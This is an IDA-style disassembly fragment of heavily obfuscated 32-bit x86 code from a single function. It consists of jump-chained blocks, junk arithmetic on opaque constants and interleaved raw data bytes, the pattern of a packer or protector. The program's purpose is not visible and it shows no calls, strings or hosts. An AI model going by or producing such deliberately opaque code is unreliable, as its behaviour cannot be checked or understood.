		dd 0B4F581EDh, 0E90F0B66h, 2B3Dh
; ---------------------------------------------------------------------------

loc_564DF8:				; CODE XREF: sub_542C3C+14478j
		add	ebp, eax
		sub	ebp, 577D5636h
		mov	eax, [esp+90h+var_90]
		add	esp, 4
		jmp	loc_553C39
; ---------------------------------------------------------------------------
		db 5
		dd 0D5E1A99Fh, 5558C201h, 32486FBDh, 39E9503Ch,	0BEFFFFC5h
		dd 72925840h, 0F6E9514Eh, 5AFFFF43h, 3C8BF801h,	0F955E924h
		dd 0FF2DFFFEh, 0E9FFFFFFh, 0FFFF883Dh, 0F7814797h, 0B6B53BF5h
		dd 6FE9FA89h, 8FFFFF93h, 6AE92404h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_564E57:				; CODE XREF: sub_542C3C+1C6E4j
		pop	edx
		add	ecx, 4
		push	2420h
		mov	[esp+8Ah+var_8C+2], ecx
		push	[esp+8Ah+var_88+2]
		pop	ecx
		pop	[esp+8Ah+var_8C+2]
		pop	esp
		xor	edx, edx
		push	ecx
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], ebx
		push	[esp+8Ah+var_8C+2]
		pop	ecx
		push	7816h
		mov	[esp+8Eh+var_90+2], ecx
		push	esp
		jmp	loc_55B9A5
; ---------------------------------------------------------------------------

loc_564E87:				; CODE XREF: sub_542C3C+18524j
		push	305Eh
		mov	[esp+4Ch+var_4C], edx
		push	4990h
		mov	[esp+50h+var_50], ecx
		jmp	loc_56158C
; ---------------------------------------------------------------------------

loc_564E9C:				; CODE XREF: sub_542C3C+25B4Fj
		push	[esp+50h+var_50]
		push	[esp+54h+var_54]
		pop	ebp
		push	eax
		mov	eax, esp
		jmp	loc_560785
; ---------------------------------------------------------------------------

loc_564EAB:				; CODE XREF: sub_542C3C+23663j
		mov	eax, esp
		push	esi
		jmp	loc_5542B4
; ---------------------------------------------------------------------------

loc_564EB3:				; CODE XREF: sub_542C3C+1D3C9j
		push	esp
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_55EE6F
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24048924h, 0FFDEC9E9h, 243433FFh, 33243431h,	248B2434h
		dd 240CFE24h, 0E66AE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564EE2:				; CODE XREF: sub_542C3C+12978j
		push	2A54h
		mov	[esp+9Ch+var_9C], edx
		push	[esp+9Ch+var_98]
		mov	edx, [esp+0A0h+var_A2+2]
		jmp	loc_55ACF8
; ---------------------------------------------------------------------------
		dw 0F800h
		dd 0E952665Bh, 0FFFF3CCDh
; ---------------------------------------------------------------------------

loc_564F00:				; CODE XREF: sub_542C3C+1DFB3j
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_55DDE7
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 39h
		dd 31FFFEE6h, 0C28159CAh, 4EC0AEE6h, 5703232Dh,	5D0014Bh
		dd 4B570323h, 29E4E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_564F2E:				; CODE XREF: sub_542C3C+1DFA0j
		pop	eax
		xor	ecx, [esp+40h+var_40]
		jmp	loc_55E617
; ---------------------------------------------------------------------------

loc_564F37:				; CODE XREF: sub_542C3C+22379j
		pop	eax
		push	[esp+3Ch+var_3C]
		pop	ecx
		add	esp, 4
		jmp	loc_557D80
; ---------------------------------------------------------------------------
		dd offset dword_5AD588
		dd 0EB305AF5h, 110459h,	14C6E9D8h, 0EC830000h, 240C8904h
		dd 0C181E189h, 4, 2D61E9h, 1650BD00h, 0E82929EBh, 0E9D8015Dh
		dd 0FFFF37EAh, 0F724248Bh, 591AE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564F82:				; CODE XREF: sub_542C3C+18CADj
		pop	edx
		sub	esp, 4
		mov	[esp+50h+var_50], ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp+50h+var_50]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+54h+var_54]
		pop	esp
		xchg	ebx, [esp+50h+var_50]
		mov	esp, [esp+50h+var_50]
		push	6303h
		mov	[esp+54h+var_54], ecx
		jmp	loc_564F37
; ---------------------------------------------------------------------------

loc_564FBA:				; CODE XREF: sub_542C3C+12AB4j
		shr	bh, 5
		add	bh, 77h
		jmp	loc_5627DB
; ---------------------------------------------------------------------------
		db 0BFh, 26h, 5Fh
		dd 0EF814FECh, 0ED875D3h, 0AAF7814Fh, 0E9422661h, 0FFFF0C0Ah
		dd 0EC4C9568h, 0B5E95A31h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564FE7:				; CODE XREF: sub_542C3C+1F1B7j
		mov	[esp+50h+var_50], esi
		xchg	ebp, [esp+50h+var_50]
		not	ebp
		sub	esp, 4
		mov	[esp+54h+var_54], ebp
		push	[esp+54h+var_50]
		mov	ebp, [esp+58h+var_58]
		jmp	loc_556A24
; ---------------------------------------------------------------------------

loc_565004:				; CODE XREF: sub_542C3C+1B52Bj
		pop	eax
		add	ebx, 85633AAh
		jmp	loc_564652
; ---------------------------------------------------------------------------

loc_565010:				; CODE XREF: sub_542C3C+14B39j
		mov	edx, 4
		sub	ebx, 520C1FB2h
		add	ebx, edx
		push	esi
		mov	esi, 29527F0Ah
		shr	esi, 5
		dec	esi
		add	esi, 17264620h
		jmp	loc_556A69
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 0E512E940h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56503A:				; CODE XREF: sub_542C3C+15264j
		push	edi
		jmp	loc_555296
; ---------------------------------------------------------------------------
		dd 4B8h, 41BD5500h, 4D2A5946h, 0FF136CE9h, 0B2C381FFh
		dd 5A48035Bh, 5C241C87h, 0FFA459E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565061:				; CODE XREF: sub_542C3C+19EE0j
		mov	edx, 3A8E3A3Ah
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		shl	edx, 7
		inc	edx
		or	edx, 17F072F7h
		push	ebp
		mov	ebp, 8EEFAEF8h
		xor	edx, ebp
		pop	ebp
		mov	ebx, edx
		pop	edx
		mov	ebp, 91855BAh
		xor	ebp, ebx
		pop	ebx
		add	eax, ebp
		mov	ebp, [esp+84h+var_84]
		add	esp, 4
		sub	eax, 39B52C82h
		add	eax, ecx
		add	eax, 39B52C82h
		push	esi
		mov	esi, 380509B5h
		jmp	loc_563EF3
; ---------------------------------------------------------------------------
		db 88h,	3Ch, 87h
		dd 0E49AE95Bh, 0B868FFFEh, 89000035h, 98E92404h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5650BF:				; CODE XREF: sub_542C3C+13E1Dj
		add	ebx, esi
		mov	esi, [esp+84h+var_84]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+88h+var_88]
		pop	esp
		mov	[esp+84h+var_84], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+84h+var_84]
		jmp	loc_55878A
; ---------------------------------------------------------------------------

loc_5650EA:				; CODE XREF: sub_542C3C+16344j
		mov	[esp+84h+var_84], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55DC84
; ---------------------------------------------------------------------------

loc_5650FA:				; CODE XREF: sub_542C3C+16CF3j
		push	ebx
		mov	ebx, 5B5626BCh
		jmp	loc_55ECE3
; ---------------------------------------------------------------------------

loc_565105:				; CODE XREF: sub_542C3C+24054j
		add	eax, edi
		jmp	loc_556C49
; ---------------------------------------------------------------------------
		dd 54240489h, 0FFD328E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565115:				; CODE XREF: sub_542C3C+1910Dj
		push	edi
		mov	edi, 211E21A2h
		xor	edi, 3AC12584h
		xor	edi, 4D7B237Ch
		add	edi, 62FD2183h
		sub	edi, 7B63CBB0h
		add	edx, edi
		pop	edi
		shr	edx, 3
		sub	edx, 0E444A34h
		jmp	loc_565CAF
; ---------------------------------------------------------------------------
		dd 8B5EF129h, 0C481242Ch, 4, 0A8685055h, 5865F21Ch, 0BB53D8F7h
		dd 69427614h, 2E9D809h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565167:				; CODE XREF: sub_542C3C+16FA4j
		xchg	eax, [esp+90h+var_90]
		pop	esp
		sub	eax, 4CC84A55h
		push	ebp
		jmp	loc_554DCD
; ---------------------------------------------------------------------------
		dw 0FEBDh
		dd 897B141Bh, 2434FFEAh, 3968535Dh, 89000000h, 4832424h
		dd 0E95B0424h, 0FFFF1A8Eh
; ---------------------------------------------------------------------------

loc_565194:				; CODE XREF: sub_542C3C+24064j
		mov	[esp+90h+var_90], edi
		push	330D6830h
		pop	edi
		shl	edi, 4
		push	ebx
		push	edx
		jmp	loc_567A75
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C892424h, 586FE924h, 2BBFFFFh, 81000000h, 0CA7C70EDh
		dd 0C9E95206h, 8BFFFF91h, 0C481241Ch, 4, 53556650h, 0E58BB66h
		dd 5BDD8966h, 275C68h, 81B2E900h, 8B66FFFFh, 0D1682404h
		dd 89000050h, 0DCE9242Ch, 53FFFF4Dh, 6018B951h,	0D1F7134Ah
		dd 8105E9C1h, 0DB6942C1h, 59CB8936h, 0E903EBC1h, 0FFFEFA65h
; ---------------------------------------------------------------------------

loc_565210:				; CODE XREF: sub_542C3C+1CC80j
		push	69FA1DD7h
		pop	ebp
		not	ebp
		not	ebp
		jmp	loc_560F9D
; ---------------------------------------------------------------------------
		db 81h
		dd 8E9C3BC7h, 5FFA899Ch, 0A668h, 241C8900h, 410A3BBh, 0B1E9523Fh
		dd 89FFFF92h, 5A542414h, 4C281h, 0EA810000h, 4,	5C241487h
		dd 54243489h, 362E9h
		db 0
; ---------------------------------------------------------------------------

loc_565259:				; CODE XREF: sub_542C3C+20119j
		sub	eax, edi
		pop	edi
		push	ebx
		jmp	loc_55A57B
; ---------------------------------------------------------------------------

loc_565262:				; CODE XREF: sub_542C3C+24ECAj
		xor	[esp+58h+var_54], ebx
		jmp	loc_553FD1
; ---------------------------------------------------------------------------
		db 68h
		dd 30Dh, 0BE243489h, 4,	0FFB244E9h, 58E581FFh, 0E95D1F63h
		dd 0FFFF26C3h
; ---------------------------------------------------------------------------

loc_565288:				; CODE XREF: sub_542C3C+1354Fj
		mov	eax, [esp+0A6h+var_A6]
		add	esp, 4
		push	dx
		mov	dh, 0B4h
		jmp	loc_55C3AA
; ---------------------------------------------------------------------------

loc_565297:				; CODE XREF: sub_542C3C+1F392j
		mov	esi, esp
		jmp	loc_567386
; ---------------------------------------------------------------------------
		dw 0F74Dh
		dd 2EDC1DDh, 6DDBED81h,	0EA01337Eh, 4EC815Dh, 89000000h
		dd 2CE92414h, 81FFFF58h, 42404h, 525E0000h, 2635E955h
		dd 0C4830000h, 4EC8104h, 89000000h, 8B54242Ch, 0C483242Ch
		dd 4C58104h, 56000000h,	24236850h, 12E97C88h, 0C1FFFF5Fh
		dd 0C58103EDh, 0F2C6B68Ah, 2C8BE989h, 4C48324h,	8953F901h
		dd 4C381E3h, 0E9000000h, 0FFFF4909h, 4246C81h, 1237E3Bh
		dd 731E9h
		db 0
; ---------------------------------------------------------------------------

loc_56531D:				; CODE XREF: sub_542C3C+1C265j
		push	edx
		mov	edx, 4
		jmp	loc_5608F4
; ---------------------------------------------------------------------------
		dd 0C6FECEFEh, 0EDEE80h, 7EE95AF7h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565337:				; CODE XREF: sub_542C3C+1B226j
		add	ebx, 4
		push	eax
		mov	eax, 4
		sub	ebx, 0E6D0DBDh
		jmp	loc_55FE44
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 39D53FB2h, 0FEF577E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565359:				; CODE XREF: sub_542C3C+1D509j
		mov	ebp, [esp+0A8h+var_AA+2]
		add	esp, 4
		mov	ebx, [esp+0A4h+var_A6+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+0ACh+var_AE+2], edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp+0A8h+var_AA+2]
		pop	esp
		push	esi
		sub	esp, 4
		mov	[esp+0ACh+var_AE+2], ebp
		jmp	loc_55DDF2
; ---------------------------------------------------------------------------

loc_56538F:				; CODE XREF: sub_542C3C+22CECj
		mov	eax, [esp+0ACh+var_AE+2]
		jmp	loc_55A5B5
; ---------------------------------------------------------------------------
		db 52h
		dd 3004E9h, 80E1D000h, 0CE88BDF1h, 0FEF68059h, 0C2BAE953h
		dd 0D701FFFFh, 243C875Ah, 0FF5BEBE9h, 240483FFh, 6BE95E04h
		dd 83FFFFCEh, 0EB8104C4h, 7CFF2895h, 2CB2BD55h,	0C5817658h
		dd 56064E77h, 0B454ED81h, 0D4E991CAh, 51FFFF08h, 2434FF57h
		dd 4C48159h, 0E9000000h, 0FFFF2DEDh
; ---------------------------------------------------------------------------

loc_5653F4:				; CODE XREF: sub_542C3C+15B7Aj
		push	35A9h
		jmp	loc_55EB5E
; ---------------------------------------------------------------------------
		dw 835Ah
		dd 3C3304C4h, 243C3124h, 5C243C33h, 240C8B66h, 81E68956h
		dd 4C6h, 4EE8100h, 33000000h, 34312434h, 24343324h, 2404895Ch
		dd 4EC81h, 24890000h, 24048324h, 7EE95804h, 53FFFFA3h
		dd 986ED5BBh, 0EC814B5Fh, 4, 0FF2F77E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565451:				; CODE XREF: sub_542C3C+23820j
		push	edi
		mov	edi, ebx
		push	edi
		pop	ecx
		pop	edi
		mov	ebp, ecx
		jmp	loc_56562C
; ---------------------------------------------------------------------------
		dw 8BDh
		dd 0E90B7704h, 0FFFF91DCh, 68h,	243C2900h, 6CF815Fh, 815F6D4Dh
		dd 1010ADC7h, 5FFA0100h, 4EC81h, 3C890000h, 783ABF24h
		dd 814F4BB1h, 680202CFh, 0C9C7813Ah, 1840685h, 243C8BFAh
		dd 8704C483h, 248B2414h, 0F7D8E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5654AE:				; CODE XREF: sub_542C3C+1295Cj
		add	eax, 53E81EBCh
		mov	edi, [esp+9Ch+var_9C]
		add	esp, 4
		or	eax, eax
		jnz	loc_566C96
		push	esi
		sub	esp, 4
		mov	[esp+0A0h+var_A2+2], edx
		push	eax
		push	ebp
		mov	ebp, 39563CD6h
		mov	eax, 3C470041h
		jmp	loc_5589BB
; ---------------------------------------------------------------------------
		dd 9C240420h, 0FEE067E9h, 0A3BD55FFh, 0E926A713h, 0FFFF181Dh
		dd 0E924248Bh, 0FFFF2FBFh
; ---------------------------------------------------------------------------

loc_5654F8:				; CODE XREF: sub_542C3C+1C2E9j
		xor	ebp, [esp+98h+var_98]
		xor	[esp+98h+var_98], ebp
		jmp	loc_566A9D
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF967FE9h, 72C168FFh, 34890000h, 52E68924h,	0FFA4F0E9h
		dd 2CD800FFh, 68612C1Ah, 0BC9h,	81240C89h, 4ECh, 241C8900h
		dd 0D7F6FAB7h, 0FF866AE9h, 241C31FFh, 8B241C33h, 7FE92424h
		dd 68FFFFB6h, 7D4Ah, 0B9240C89h, 357D6E83h, 2D05E9h
		db 0
; ---------------------------------------------------------------------------

loc_565559:				; CODE XREF: sub_542C3C+1EEC5j
		mov	[esp+7Ch+var_7C], edi
		jmp	loc_55503E
; ---------------------------------------------------------------------------

loc_565561:				; CODE XREF: sub_542C3C+17456j
		sub	eax, 299B8D44h
		push	ebx
		mov	ebx, eax
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_5546FA
; ---------------------------------------------------------------------------

loc_56557A:				; CODE XREF: sub_542C3C+24349j
		mov	dx, word ptr [esp+58h+var_58]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		add	bl, 0E6h
		sub	bl, al
		sub	bl, 0E6h
		jmp	loc_5565D3
; ---------------------------------------------------------------------------
		dd 0FA8863B7h, 0FFCE45E9h, 7EEF81FFh, 1033896h,	0C1315FF9h
		dd 0CDE9C831h, 5EFFFEF9h, 4C681h, 0BF570000h, 2, 310ABA52h
		dd 0C28110A3h, 37684281h, 0B253C281h, 0D601260Eh, 95B9515Ah
		dd 154434Ch, 0FE0159CEh, 57EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5655ED:				; CODE XREF: sub_542C3C+153EBj
		dec	eax
		neg	eax
		or	eax, 561E5E09h
		or	eax, 176E7C35h
		shl	eax, 8
		xor	eax, 0DFD6FA22h
		mov	esi, eax
		jmp	loc_55FA81
; ---------------------------------------------------------------------------

loc_565609:				; CODE XREF: sub_542C3C+1C73Dj
		mov	ebp, 51A173A6h
		jmp	loc_55FECC
; ---------------------------------------------------------------------------
		db 31h
		dd 58042444h, 16E13558h, 148B407Fh, 4C48124h, 0E9000000h
		dd 0FFFEDF20h
; ---------------------------------------------------------------------------

loc_56562C:				; CODE XREF: sub_542C3C+2281Dj
		mov	ecx, [esp+7Ch+var_7C]
		add	esp, 4
		jmp	loc_55F17E
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 48904ECh, 5E08924h, 4, 2EDFE9h
		db 0
; ---------------------------------------------------------------------------

loc_56564D:				; CODE XREF: sub_542C3C+1EE93j
		push	esp
		mov	ebp, [esp+84h+var_84]
		add	esp, 4
		add	ebp, 4
		jmp	loc_55B55A
; ---------------------------------------------------------------------------

loc_565662:				; CODE XREF: sub_542C3C+19A13j
		sub	ebx, 62E1008Fh
		mov	eax, ebx
		pop	ebx
		add	esi, 2C33547Dh
		sub	esi, eax
		sub	esp, 4
		jmp	loc_56075D
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0C6815C24h, 2, 0FFE722E9h, 242C31FFh, 0FF10B3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565695:				; CODE XREF: sub_542C3C+16743j
		pop	esp
		jmp	loc_568428
; ---------------------------------------------------------------------------
		db 29h
		dd 5F2E9DEh, 0A4BD0000h, 3143BD04h, 0BD5558C5h,	0FF668CFh
		dd 0BA52D5F7h, 2365487Bh, 555AD501h, 0FF0568E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5656C1:				; CODE XREF: sub_542C3C+1794Cj
		pop	ebx
		add	eax, ebx
		add	eax, 7ED71DF1h
		jmp	loc_55D570
; ---------------------------------------------------------------------------

loc_5656CE:				; CODE XREF: sub_542C3C+1BD1Fj
		xor	eax, 0E4921447h
		xor	edx, eax
		pop	eax
		mov	ebp, edx
		jmp	loc_55F5EB
; ---------------------------------------------------------------------------
		db 5Dh,	57h, 89h
		dd 8E75E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5656E6:				; CODE XREF: sub_542C3C+1F026j
		pop	edi
		add	[esp+84h+var_80], edx
		pop	edx
		mov	ecx, [esp+80h+var_80]
		add	esp, 4
		jmp	loc_567AC2
; ---------------------------------------------------------------------------
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_558980
; ---------------------------------------------------------------------------

loc_565703:				; CODE XREF: sub_542C3C+1F242j
		pop	edx
		add	eax, ebx
		pop	ebx
		sub	ebp, eax
		mov	eax, [esp+84h+var_84]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55E08B
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 24248B24h, 52240C89h, 0E9C38853h, 0FFFFB8C2h
; ---------------------------------------------------------------------------

loc_56572C:				; CODE XREF: sub_542C3C+21CD7j
		mov	ecx, esi
		jmp	loc_55A38F
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4B871A62h, 0DAE9D321h, 29FFFF0Bh, 50F8E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565746:				; CODE XREF: sub_542C3C+16925j
		mov	ebx, 447C3BB4h
		jmp	loc_565D50
; ---------------------------------------------------------------------------

loc_565750:				; CODE XREF: sub_542C3C+1E4C5j
		xchg	eax, [esp+6Ch+var_6C]
		not	eax
		jmp	loc_555641
; ---------------------------------------------------------------------------

loc_56575A:				; CODE XREF: sub_542C3C+20B3Dj
		add	edx, ebx
		pop	ebx
		add	ebx, 38B522ABh
		sub	ebx, edx
		jmp	loc_55C951
; ---------------------------------------------------------------------------
		dw 31BDh
		dd 563816BEh, 0EF48F9BEh, 8FE0E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56577A:				; CODE XREF: sub_542C3C+247F1j
		push	eax
		jmp	loc_558A29
; ---------------------------------------------------------------------------
		dd 0E9240431h, 0FFFF4803h, 2C8BEF89h, 0E6895624h, 1039BA52h
		dd 0C2811A16h, 13D2295Ah, 1C3EEA81h, 0E94A78EBh, 0FFFEEC01h
		dd 8B2434FFh, 8951240Ch, 4C181E1h, 0E9000000h, 0FFFF100Ch
		dd 0C55F35BBh, 86C3813Fh, 0F746E80Ch, 8326E9DBh, 44BAFFFFh
		dd 0E944CF29h, 0D9Ch, 8124348Bh, 4C4h, 50E56800h, 2C890000h
		dd 0C68FBD24h, 0E8316CDAh, 50242C8Bh, 7368E089h, 89000065h
		dd 34BA2414h, 5030DD2Fh, 0FF06C2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565809:				; CODE XREF: sub_542C3C+2540Bj
		shl	esi, 1
		or	esi, 1E0A4265h
		push	edi
		push	edx
		mov	edx, 1980579Fh
		mov	edi, 0E67FA860h
		add	edi, edx
		pop	edx
		add	esi, edi
		pop	edi
		xor	esi, 0EC401E55h
		mov	ebp, esi
		pop	esi
		sub	[esp+6Ch+var_68], 5E65780Eh
		add	[esp+6Ch+var_68], ebp
		add	[esp+6Ch+var_68], 5E65780Eh
		push	[esp+6Ch+var_6C]
		pop	ebp
		add	esp, 4
		pop	eax
		sub	esp, 4
		mov	[esp+68h+var_68], edi
		push	eax
		mov	eax, 7841DFFh
		xor	eax, 59F643BDh
		mov	edi, eax
		pop	eax
		sub	edi, 1
		jmp	loc_55E921
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 3Bh
		dd 5FFFFEE8h, 0FFA7B8E9h, 9EBB53FFh, 11F0532h, 43685BD8h
		dd 8900003Ch, 0DAE9242Ch
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56588F:				; CODE XREF: sub_542C3C+1DA7Cj
		sub	ebx, 0D81E5EC3h
		mov	edx, ebx
		jmp	loc_555987
; ---------------------------------------------------------------------------
		dd 0F57DE956h, 1C8BFFFFh, 0FBE95724h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5658AB:				; CODE XREF: sub_542C3C+1DDA3j
		pop	eax
		pop	dword ptr [edi+24h]
		jmp	loc_5635CC
; ---------------------------------------------------------------------------
		dd 24048F5Ah, 4C2815Ch,	0E9000000h, 0FFFF797Eh,	8B24048Fh
		dd 0B9512424h, 4, 421FC781h, 0CF014B88h, 421FEF81h, 81594B88h
		dd 4C7h, 243C8700h, 5224248Bh, 58BEBD55h, 0EA89128Fh, 2454015Dh
		dd 4815A04h, 0CA304B24h, 0EB4AE91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565906:				; CODE XREF: sub_542C3C+23187j
		add	eax, ecx
		sub	eax, 19CE2BF6h
		mov	ecx, [esp+58h+var_58]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+54h+var_54]
		pop	esp
		jmp	loc_55354C
; ---------------------------------------------------------------------------

loc_565921:				; CODE XREF: sub_542C3C+17C34j
		mov	eax, 4
		add	edx, eax
		jmp	loc_56538F
; ---------------------------------------------------------------------------

loc_56592D:				; CODE XREF: sub_542C3C+20B5Aj
		add	esp, 4
		push	ebp
		mov	ebp, 41D372FEh
		not	ebp
		shr	ebp, 1
		shr	ebp, 8
		sub	ebp, 5F1644h
		sub	ebx, ebp
		pop	ebp
		xor	ebx, [esp+68h+var_68]
		xor	[esp+68h+var_68], ebx
		xor	ebx, [esp+68h+var_68]
		mov	esp, [esp+68h+var_68]
		jmp	loc_55E360
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 200F2A01h, 5ECF381h,	0C38127C1h, 171BF46Bh, 18750705h
		dd 0D4BD5543h, 0E9375D67h, 0FFFF86EFh, 12F38158h, 5115FD69h
		dd 0FF2C03E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565989:				; CODE XREF: sub_542C3C+19010j
		add	esp, 4
		push	5D35h
		mov	[esp+78h+var_78], edi
		jmp	loc_55FC29
; ---------------------------------------------------------------------------

loc_56599C:				; CODE XREF: sub_542C3C+11F3Ej
		mov	ebp, esp
		add	ebp, 4
		push	edi
		push	esi
		push	58AB2FF8h
		pop	esi
		sub	esi, 686B2D45h
		jmp	loc_567FC4
; ---------------------------------------------------------------------------

loc_5659B7:				; CODE XREF: sub_542C3C+17988j
		shr	ecx, 0Bh
		jmp	loc_555F42
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0ECE581D5h, 0C16FF149h, 0C58106EDh, 30E275CDh, 8B5DEF29h
		dd 0C4832434h, 4EC8104h, 89000000h, 74FF243Ch, 52E90424h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5659EB:				; CODE XREF: sub_542C3C+1EFB6j
		mov	edx, [esp+88h+var_88]
		jmp	loc_55C9DC
; ---------------------------------------------------------------------------
		db 68h
		dd 28D2h, 56240C89h, 4BEh, 5EF18900h, 50BCBD55h, 454536E6h
		dd 0FFE42FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565A11:				; CODE XREF: sub_542C3C+1334Ej
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_564535
; ---------------------------------------------------------------------------
		dd 8324348Bh, 1C8B04C4h, 4C48124h, 0E9000000h, 0FFFF7706h
		dd 0E904EC83h, 0FFFFA55Eh, 24048B66h, 0C8B5451h, 0EE3BE924h
		dd 1C8BFFFEh, 4C48324h,	0FFB9E7E9h, 241489FFh, 0E2C07EB2h
		dd 5C3BE905h, 0F029FFFFh, 94207A2Dh, 24348B7Fh,	0E9E38953h
		dd 2596h, 791F68h, 24148900h, 287CBD55h, 0EA890CC8h, 2373E95Dh
		dd 5E54FFFFh, 4BA52h, 31E90000h, 81FFFFDAh, 4C5h, 2BB5300h
		dd 1000000h, 0C4C3E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565AAE:				; CODE XREF: sub_542C3C+1C648j
		push	ebp
		pop	ebx
		pop	ebp
		jmp	loc_55CFB6
; ---------------------------------------------------------------------------
		dw 4D4Dh
		dd 8103EDC1h, 0F30BEFF5h, 5DEA2970h, 0E9240C8Bh, 20D1h
; ---------------------------------------------------------------------------

loc_565ACC:				; CODE XREF: sub_542C3C+18F00j
		pop	esp
		jmp	loc_555220
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 306711FAh, 0E9243C8Bh, 0FFFF93B8h
; ---------------------------------------------------------------------------

loc_565AE0:				; CODE XREF: sub_542C3C+1D6FFj
		pop	esp
		shr	ecx, 7
		jmp	loc_5587BB
; ---------------------------------------------------------------------------
		db 29h,	0F9h, 81h
		dd 0FA0222E9h, 283AE922h, 489FFFFh, 0F9895124h,	6859C889h
		dd 322Ah, 89243489h, 815651C6h,	3AD2242Ch, 8159537Ah, 7A3AD2C1h
		dd 0DDF2E953h, 4B9FFFEh, 1000000h, 0BA5259CBh, 4, 0E95AD301h
		dd 0FFFFEBBEh
; ---------------------------------------------------------------------------

loc_565B34:				; CODE XREF: sub_542C3C+21F06j
		push	edx
		mov	edx, 908648Eh
		mov	ecx, 8574AE21h
		jmp	loc_55DAFD
; ---------------------------------------------------------------------------
		dd 2E9C149h, 0FFEA07E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565B4D:				; CODE XREF: sub_542C3C+1E488j
		xor	edx, eax
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		dd 71F1B951h, 0CD893E68h, 899E959h, 0D1010000h,	74E9525Ah
		dd 83FFFF8Fh, 48904ECh,	9DD9E924h, 1C8BFFFFh, 4C48124h
		dd 0E9000000h, 6Ah, 0F16FF581h,	0EE298958h, 0CEC7815Dh
		dd 0E9317935h, 0FFFFDBB4h, 8002EDC0h, 0C5FEAEF5h, 0CB45066h
		dd 0A5E9E508h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565BAB:				; CODE XREF: sub_542C3C+1DEB1j
		mov	edx, 43CC1143h
		jmp	loc_5574C7
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 6Ah
		dd 1072F7Bh, 6AC281C2h,	8B072F7Bh, 0F9E92404h, 81FFFF07h
		dd 6B0458C3h, 51BE561Dh, 8153A36Fh, 63DA3F6h, 5EF3092Ah
		dd 0C024C381h, 0D931DE95h, 0B885E95Bh, 0F388FFFFh, 0E952585Ah
		dd 0FFFF76ADh, 5624148Bh, 0FF2812E9h, 88535BFFh, 5BFA88C7h
		dd 240C8B58h, 3BDE9h
		db 0
; ---------------------------------------------------------------------------

loc_565C11:				; CODE XREF: sub_542C3C+21D9Cj
		inc	ecx
		push	ebp
		mov	ebp, 596C7596h
		neg	ebp
		not	ebp
		add	ebp, 0A8FC8401h
		sub	ecx, ebp
		pop	ebp
		sub	edx, 2B0D7FE6h
		add	edx, 0D444DEBh
		sub	edx, ecx
		jmp	loc_557060
; ---------------------------------------------------------------------------
		dd 59E95359h
		db 0A7h, 2 dup(0FFh)
